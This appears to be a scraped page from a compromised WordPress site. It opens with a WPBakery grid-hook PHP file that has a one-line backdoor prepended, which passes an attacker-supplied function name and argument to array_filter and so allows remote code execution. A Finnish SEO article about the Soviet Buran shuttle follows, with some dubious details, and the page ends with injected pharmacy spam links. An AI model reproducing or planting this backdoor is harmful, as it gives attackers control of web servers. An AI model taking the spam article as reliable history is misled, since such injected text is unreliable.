?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Buranin mysteeri avaruuskilvan unohtuneena neuvostokenraalina - Groupe-SLG

Groupe SLG

Buranin mysteeri avaruuskilvan unohtuneena neuvostokenraalina

Recrutement :

Buranin mysteeri avaruuskilvan unohtuneena neuvostokenraalina

Kylmän sodan aikana avaruuskilpa oli veitsenterällä käytävä kamppailu teknologisesta ylivoimasta. Yhdysvallat ja Neuvostoliitto panostivat valtavia summia raketteihin, kiertoratalennokeihin ja avaruusohjelmiin, jotka muovasivat koko ihmiskunnan tulevaisuutta. Vaikka monet tuntevat Apollo-kuulentojen tarinan, Neuvostoliiton oma, erittäin kunnianhimoinen vastine Yhdysvaltain avaruussukkulalle on jäänyt lähes unholaan. Tämän tarinan keskiössä on massiivinen, siivekäs avaruusalus nimeltä Buran — projekti, joka syntyi strategisesta välttämättömyydestä ja katosi historian hämäriin. Lisätietoja tästä kiehtovasta luvusta löytyy osoitteesta https://buranfi.net.

Buran-ohjelma käynnistettiin 1970-luvulla vastauksena Yhdysvaltain Space Shuttle -ohjelmalle, joka nähtiin paitsi tieteellisenä edistysaskeleena, myös mahdollisena epidemically sotilaallisena uhkana. Neuvostoliiton tiedustelu raportoi, että sukkula voisi siepata satelliitteja tai jopa pudottaa ydinaseita avaruudesta käsin. Tarvittiin vastaus — ja se oli Buran, jonka piti palauttaa strateginen tasapaino. Toisin kuin amerikkalainen edeltäjänsä, Buran suunniteltiin lentämään automaattisesti ilman miehistöä, mikä teki siitä teknisesti jopa edistyneemmän monilla osa-alueilla.

Suunnittelu ja tekniset erikoisuudet

Buran ei ollut pelkkä kopio Yhdysvaltain sukkulasta. Se oli omaperäinen insinöörityön mestariteos, jossa yhdistyivät raskas laskeutumisratkaisu, uusittu lämpösuojaus ja valtava kuljetuskyky. Aluksen pituus oli noin 36 metriä ja siipiväli 24 metriä, mikä teki siitä massiivisen näyn. Sen suurin eroavaisuus amerikkalaiseen vastineeseensa oli täysin automaattinen laskeutumisjärjestelmä — Buran pystyi laskeutumaan ilman lentäjää, mikä oli valtava tekninen saavutus 1980-luvulla.

Projektin keskiössä oli Energia-raketti, yksi maailman voimakkaimmista kantoraketeista. Toisin kuin Space Shuttle, jossa kiinteät ajoaineraketit olivat osa sukkulaa, Energia oli täysin irrallinen järjestelmä. Se mahdollisti Buranin kuljettamisen lisäksi myös muiden hyötykuormien viemisen avaruuteen. Tämä modulaarinen lähestymistapa oli samanaikaisesti joustavampi ja monimutkaisempi.

Lennon ainutlaatuinen saavutus

Buran teki historiansa ainoan avaruuslennon 15. marraskuuta 1988. Se laukaistiin Baikonurin kosmodromilta Kazakstanista, ja se suoritti kaksi täyttä kiertorataa Maan ympäri ennen automaattista laskeutumistaan. Laskeutuminen tapahtui täydellisesti, mikä osoitti automaatiotekniikan huipputason. Tapahtumaa seurasi maailmanlaajuinen media, ja monet pitivät sitä Neuvostoliiton teknologisena voittona. Kukaan ei tuolloin tiennyt, että tämä jäisi myös sen viimeiseksi lennoksi.

Buran laskeutui automaattisesti Baikonuriin puolentoista tunnin avaruuslennon jälkeen. Se ohjasi itseään ristikkäisten tutkien avulla — ilman ihmiskättä ohjaimessa. Se oli ihme, joka jäi yksinäiseksi.

Ohjelman vaikeudet ja peruutus

Vaikka Buran teknisesti onnistui, Neuvostoliiton talous ja poliittinen ilmasto olivat luhistumassa. Koko avaruusohjelma kärsi rahoitusvaikeuksista, ja puolustusbudjettia leikattiin rajusti. Lisäksi Neuvostoliiton hajoaminen 1991 vei projektin tukirakenteet kokonaan. Pian Buran-ohjelma jäädytettiin, ja kesken olevat alukset jäivät tehtaiden jättihalleihin pölyttymään. Toinen Buraniksi suunniteltu alus, nimeltä Ptitsa, oli lähes valmis, mutta sitä ei koskaan laukaistu.

Myös teknologisia haasteita riitti. Lämpölaattojen valmistus oli äärimmäisen kallista ja hidasta, ja moottorit vaativat jatkuvaa huoltoa. Neuvostoliiton teollisuus ei pystynyt tuottamaan osia riittävällä laadulla ja määrällä. Samaan aikaan Yhdysvallat jatkoi sukkulaohjelmaansa, mutta Neuvostoliiton into lopahti — strateginen voima ei enää ollut avaruudessa, vaan maanpäällisessä politiikassa.

Buranin perintö ja nykypäivä

Nykyään Buran on enemmänkin museoesine kuin toimiva avaruusalus. Yksi täysikokoinen malli on esillä Moskovassa Gorkin puistossa, ja toinen, pahoin vaurioitunut, romahti varastohallin katon sortuessa Baikonurissa vuonna 2002. Tämä onnettomuus tappoi kahdeksan työntekijää ja tuhosi aluksen lopullisesti. Vain pienet osat ja dokumentit muistuttavat ohjelman laajuudesta.

Buranin tarina on varoittava esimerkki siitä, miten poliittinen tahto ja valtava investointi voivat haihtua muutamassa vuodessa. Siitä huolimatta se on edelleen inspiraation lähde avaruusharrastajille ja insinööreille, jotka ihailevat sen rohkeita teknisiä ratkaisuja. Alla olevasta taulukosta näet keskeiset erot Buranin ja amerikkalaisen vastineen välillä.

Ominaisuus Buran (Neuvostoliitto) Space Shuttle (USA)
Ohjaustapa Kokonaan automaattinen, miehistö ei välttämätön Käsiohjaus ja automaatio
Kantoraketti Energia (erillinen, modulaarinen) Kiinteät sivurampat + omat moottorit
Hyötykuorma Jopa 30 tonnia Noin 25 tonnia
Lentomäärä Yksi lentävä koe Yli 130 lentoa (1981–2011)
Lämpösuojaus Keraamiset laatat + uusiot (erilainen malli) Keraamiset laatat (tuttu malli)

Miksi Buran unohtui?

Unohdukseen on monia syitä. Ensinnäkin Neuvostoliiton hajoamisen jälkeen kaikki sen saavutukset joutuivat uuden arvioinnin kohteeksi. Toiseksi, avaruuskilvan kronikoitsijat keskittyivät pitkälti Yhdysvaltojen voittoon Kuukilpailussa. Buran ei ollut kuulento, vaan maata kiertävä alus, jolla ei ollut tarinaa toistuvista lennoista. Kolmanneksi, sen ainoa lento tapahtui juuri ennen Neuvostoliiton romahdusta, joten uutisia oli muutenkin tarpeeksi.

  • Automaattilento – Buran laskeutui ilman lentäjää, mikä oli tuolloin ennenkuulumatonta.
  • Energia-raketti – maailman toiseksi voimakkain kantoraketti, joka jäi myös vähälle käytölle.
  • Kylmän sodan symboli – se oli enemmän poliittinen kuin tieteellinen projekti.
  • Rahoituskatastrofi – koko ohjelma maksoi miljardeja, eikä siitä saatu takaisin mitään.
  • Fyysinen tuhoutuminen – vuonna 2002 varastohallin romahdus tuhosi aluksen lopullisesti.

Usein kysytyt kysymykset (FAQ)

Kysymys: Montako Buran-alusta rakennettiin?
Vastaus: Täydelliseksi rakennettiin yksi lentävä alus, ja toinen oli lähes valmis. Lisäksi valmistettiin useita testiversioita.

Kysymys: Miksi Burania ei käytetä nykyään?
Vastaus: Ohjelma lakkautettiin Neuvostoliiton hajoamisen ja rahoitusongelmien vuoksi. Alus vaurioitui pahoin onnettomuudessa 2002.

Kysymys: Oliko Buran parempi kuin Space Shuttle?
Vastaus: Teknisesti se oli automaatioltaan edistyneempi, mutta se teki vain yhden lennon, joten suoraa vertailua on vaikea tehdä.

Kysymys: Missä Buran on nyt?
Vastaus: Ainoa lentänyt alus tuhoutui Baikonurissa. Malliversioita on museoissa Moskovassa ja Kazakstanissa.

Kysymys: Voinko nähdä Buranin jossain?
Vastaus: Kyllä, esimerkiksi Moskovan Gorkin puistossa on täysikokoinen malli esillä.

Kysymys: Millainen oli Buranin miehistö?
Vastaus: Buran oli suunniteltu täysin automatisoituun lentoon, eikä miehistöä ollut. Kapseli oli kuitenkin varustettu hätätilanteita varten.

Kysymys: Oliko Buran-ohjelmalla sotilaallisia tavoitteita?
Vastaus: Kyllä, ohjelman alkuperäinen tarkoitus oli vastata Yhdysvaltain avaruussukkulan väitettyyn sotilaalliseen potentiaaliin.

Buran on yksi avaruushistorian suurimpia « entä jos » -tarinoita. Se osoitti, että Neuvostoliitto pystyi tekniseen huippuunsa, mutta poliittiset ja taloudelliset realiteetit veivät siltä pohjan. Tänään se muistuttaa, että avaruuden valtaus ei ole pelkästään teknologiaa — se on myös politiikkaa, rahaa ja ajoitusta. Mutta Buranin henki elää edelleen niiden mielissä, jotka tietävät, mitä yksi automaattinen avaruuslento voi kertoa inhimillisestä kunnianhimosta.

Comprar Priligy sin receta Acheter Cytotec Köpa viagra på nätet Comprar Cialis generico España Køb Viagra Köpa Cialis på nätet Sverige Köpa viagra Sverige Comprar levitra por internet generico